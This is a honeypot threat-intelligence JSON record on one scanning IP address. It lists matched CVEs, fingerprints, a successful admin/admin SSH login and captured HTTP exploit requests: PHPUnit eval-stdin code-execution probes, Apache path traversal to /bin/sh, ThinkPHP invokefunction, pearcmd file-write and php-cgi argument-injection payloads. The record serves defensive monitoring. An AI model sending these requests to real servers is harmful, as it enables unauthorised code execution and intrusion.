{"ip":"119.28.84.193","data_as_of":"2026-10-24T08:46:21+00:00","observed":true,"total_events":101,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":"CDN","why":["45 request(s) matched a known exploit path.","Requests with a body (POST, PUT, PATCH or DELETE) were seen, which carries a payload.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 1,218,374 bytes, which is sustained payload delivery.","Counts include 1 interactive session(s) as well as first-packet events.","Interactive sessions: 1 interactive login(s) succeeded."],"engagement":{"level":"payload","label":"Sustained payload","detail":"1,218,374 bytes sent","bytes_sent":1218374,"session_seconds":14,"persistent":false},"basis":"combined"},"first_seen":"2026-10-11T19:20:22","last_seen":"2026-10-23T19:41:30","events_24h":1,"events_7d":50,"interactive_sessions":1,"interactive_sessions_24h":1,"interactive_sessions_7d":1,"interactive_protocols":[{"protocol":"ssh","sessions":1}],"geo":{"country_code":"HK","country_name":"Hong Kong","region":"","city":"Hong Kong","lat":22.2842,"lon":114.1759,"asn":132203,"org":"Tencent Building, Kejizhongyi Avenue"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as132203","label":"Tencent Global","category":"cdn","url":"https://www.peeringdb.com/asn/132203"},"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","kev_date_added":"2022-02-15"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","kev_date_added":"2021-11-03"},{"cve_id":"CVE-2021-41773","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","kev_date_added":"2021-11-03"}],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":1,"first_seen":"2026-10-23T19:41:30","last_seen":"2026-10-23T19:41:30","verdicts":[{"verdict":"credential","sessions":1}],"personas":[{"persona":"linux-ubuntu@20.04","sessions":1}],"services":[{"protocol":"ssh","port":22,"sessions":1}],"logins":[{"username":"admin","password":"admin","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-23T19:41:29"}],"commands":[],"downloads":[],"files":[],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":1},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":1}]},"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":49,"sessions":0},{"port":443,"proto":"tcp","label":"HTTPS","count":49,"sessions":0},{"port":22,"proto":"tcp","label":"SSH","count":2,"sessions":1},{"port":2222,"proto":"tcp","label":"SSH-alt","count":1,"sessions":0}],"fingerprints":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b50303ddd7805da41a7a010c3da8b4d16c0d603b07727d7f90bcf987562f7613964de520346d4ae19e4a27393a946b1667274f36c26fbfd8224a19f2e14d7b852e8964ec0024fafa130113021303c02bc02fc02cc030cca9cca8c009c013c00ac014009c009d002f003501000548baba000000170000ff01000100000a000c000ababa11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04edbaba00010011ec04c02365723599958061a27f30ce4576c6d909761933575d37ac87f6164b5740f4343ae905aee1074b7fb87e1cd121cd3a5ec84b4032542448f9707a106ceac328b54a13b3139e6bb52f0cecb55cca054662c76f20468aa6b783e79e0a7019f917b5afb23c2a1aaaa61953f4eb059618749d32b6e1ca2eaa379f968b5d3ab477dd06a66f76b350ba44330105e68b9a747a50114515ecf924dcdc73065c87b8ec559e905a7524220d44aee7653271b3729fd02a9c53b152e5b674514aae32413a194a801718fb855ddaeb5ce5da9ed97c2b3ce370246b1f06ba3ba0a14601cc37783775045c670e58a0a85615076b2ca5458b78e0a4ab2995776340cc641703876daa61a56389bb43f45d8e869b8f557284267a25d5239f221976004c0a081534267ff3d23785eccd2317a8317250d9319c9f312bd4727fe5c5c2e9700bc006608a2299f92b440994bb29683e9e036c2b6252118a33a912b06bf59f545086c397892d91b36735571b94bf83a900f35a8f413ba818283c0c0560a7c10a4c6563fc5013973a5bd758be95c52a46a8c81b346b4e812655d830c0bc687ff52c7e8b73775a372c24096b08b58c907454098e25b06a6eac86c6b20b481aa47981af6c1b996c5b10796b1bd3988f31cc8de2617f40801cc446450e364317f58417047571d95c1bea6fb3ecaa8958a7f9d2425b31b54a66b6ddf21af2ec5b9af898268015f1e55387c29f5983468ee72643793ffc9b6f90b46d21c22cbe475847f0c42f74c0a1f50274476d83519cc2c304060798e9a90592faa4f64770e8a6496fe837242a4778e1bb0b579b3d63664552422ffc77b0f497057a055032986c927330037c0569778ec161a13575b107c092c49913a8bb5cf7b85f642d16ac0e830b6711f510f4336a5d8b656b323dfc186282400803f82a7f3c0e615a9e8ba167f58b865c210c84e2256c82954aa3192a75b3e252785fb54b23d544178c346cb475d8f6844181a203a93c5ffb79b00448c36b023e355bc2b6719ca33f02b22823a6c23bf569fdd54ef8ac592069209bf61b47da8e288a4cf9fb4086294894b373c32ab4bea462e7737eec08c95a4cbd5fb810d4aa978ec9bf6df03a1a862fd82b26bb784814f2cbf8ca21b4faba5497bac03a6cd1f42e1bf32858602053dc7709a519c91344e053c48edcc22c8359fb3a1c09225987e91d37941170479919d685f3600d5f914965e4c8dae2cb7c12584a14c016366bcb163204249ee72a39e0283b9f89243cc00024137811f70343052fae2655e13a7e612c33dba8701dbc059a478e97405219160b5b2629309250ac523d4e5c2e3d0a8a0264649156425f130d572bb686e0bb31926f68504ff7950c8caa089fcc6613aa602cbbcf38c0c56ba7712b66be9bf36824f7c86ff8340b4b8d15433caec23c1ed41baa83bf3e5974cf4ca4630b22e2dace67138b0c861ec2261c5e215e0eb0bb067649e76493ca11ae041b8a5e47b53d0c6420859c1f805dfe163573161501644b1b82a4ec8847a41aa3c8e45a9506a5b0da293dc42300dd7f46c967dd728031191dca617e16c26264084cece11cab3c280d1b2eaa671b367c7f513b9be5a291c059a06155ca3f4c80b26c57f876bbc9fb0b8c8bccf553f09a1122570d120ffd0742c6ea60b41d2baaa0b71f8bf66fb0a03dea99130703b67a042ed9714f0cf1f320aa9669c27e83a0be3be4587213001d0020f55772a670b987403daaf3385fbfedd9f4b4b52378606f79a3299f5e1a504e32002d00020101002b0007068a8a030403034a4a0001","tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"http_akin":["b11cun050_00040035_dd905059","b11cuq070_00050835_c0b30902"],"interactive":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":155,"19532158b559096b89b1a5f7d17175b2":187,"b11cun050_00040035_dd905059":284,"b11cuq070_00050835_c0b30902":229},"akin_families":{},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-10-11","count":49,"sessions":0},{"date":"2026-10-14","count":2,"sessions":0},{"date":"2026-10-23","count":50,"sessions":1}],"recent_events":[{"timestamp":"2026-10-23T09:04:57","port":2222,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-libssh2_1.11.1\r\n","payload_hex":"5353482d322e302d6c6962737368325f312e31312e310d0a","method":"","user_agent":"","ja3":"","session":"8fe30ac5-83d1-418d-bcb3-b01baa4d68cf","seq":1,"duration_ms":2100,"bytes_in":24,"bytes_out":13,"enriched":{"digest":"216fab6b63b6535b","label":"SSH","strings":["SSH-2.0-libssh2_1.11.1"]}},{"timestamp":"2026-10-23T06:34:50","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"70dbb27f-e547-49ae-b657-8b797dc2e412","seq":49,"duration_ms":14109,"bytes_in":19068,"bytes_out":3822},{"timestamp":"2026-10-23T06:34:49","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"70dbb27f-e547-49ae-b657-8b797dc2e412","seq":48,"duration_ms":13822,"bytes_in":18916,"bytes_out":3744},{"timestamp":"2026-10-23T06:34:49","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"70dbb27f-e547-49ae-b657-8b797dc2e412","seq":47,"duration_ms":13531,"bytes_in":18730,"bytes_out":3666},{"timestamp":"2026-10-23T06:34:49","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f7075626c69632f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"70dbb27f-e547-49ae-b657-8b797dc2e412","seq":46,"duration_ms":13245,"bytes_in":18474,"bytes_out":3588},{"timestamp":"2026-10-23T06:34:48","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"70dbb27f-e547-49ae-b657-8b797dc2e412","seq":45,"duration_ms":12957,"bytes_in":18228,"bytes_out":3510},{"timestamp":"2026-10-23T06:34:48","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f6170702f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"70dbb27f-e547-49ae-b657-8b797dc2e412","seq":44,"duration_ms":12671,"bytes_in":17989,"bytes_out":3432},{"timestamp":"2026-10-23T06:34:48","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f617070732f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"70dbb27f-e547-49ae-b657-8b797dc2e412","seq":43,"duration_ms":12378,"bytes_in":17719,"bytes_out":3354},{"timestamp":"2026-10-23T06:34:48","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f7075626c69632f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"70dbb27f-e547-49ae-b657-8b797dc2e412","seq":42,"duration_ms":12091,"bytes_in":17448,"bytes_out":3276},{"timestamp":"2026-10-23T06:34:47","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f70616e656c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"70dbb27f-e547-49ae-b657-8b797dc2e412","seq":41,"duration_ms":11768,"bytes_in":17175,"bytes_out":3198}],"http_methods":[{"method":"GET","count":84},{"method":"POST","count":14}],"distinct_ports_total":4,"top_paths":[{"path":"/containers/json","count":2,"ports":2},{"path":"/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":2},{"path":"/lib/phpunit/Util/PHP/eval-stdin.php","count":2,"ports":2},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":2},{"path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":2,"ports":2},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":2},{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":2,"ports":2},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":2},{"path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":2},{"path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":2},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":2,"ports":2},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":2,"ports":2},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":2},{"path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","count":2,"ports":2},{"path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":2}],"distinct_paths_total":49,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-libssh2_1.11.1","count":3}],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"33","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:80","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":2,"events_with_headers":9},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"],"kev_date_added":"2022-02-15"},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"],"kev_date_added":"2021-11-03"},{"tag_id":"CVE-2021-41773","tag_type":"cve","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2021-41773","https://httpd.apache.org/security/vulnerabilities_24.html","https://www.exploit-db.com/exploits/50383","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-41773"],"kev_date_added":"2021-11-03"},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":1}]}